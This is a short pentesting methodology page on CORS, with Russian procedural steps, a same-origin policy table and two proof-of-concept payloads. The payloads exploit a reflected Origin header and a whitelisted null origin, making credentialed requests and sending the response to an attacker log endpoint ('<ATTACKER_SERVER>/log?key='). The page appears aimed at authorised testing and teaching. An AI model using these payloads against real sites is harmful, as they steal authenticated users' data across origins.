CORS
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
- Определите контекст (аутентификация, роль, границы доверия).
- Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
- Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
- Примеры запросов и команд ниже — на английском.
Методика
Same-origin policy (SOP)
| URL accessed | Access permitted? |
|---|---|
http://example.com.com/example/ | Yes. Same scheme, domain, and port |
http://example.com.com/example2/ | Yes. Same scheme, domain, and port |
https://example.com.com/example/ | No. Different scheme and port |
http://en.example.com.com/example/ | No. Different domain |
http://www.example.com.com/example/ | No. Different domain |
http://example.com.com:8080/example/ | No. Different port* |
CORs misconfiguration issues
ACAO header from client-specified Origin header
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<VULNERABLE_PAGE_URL>',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Whitelisted null origin value
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<VULNERABLE_PAGE_URL>',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='<ATTACKER_SERVER>/log?key='+this.responseText;
};
</script>"></iframe>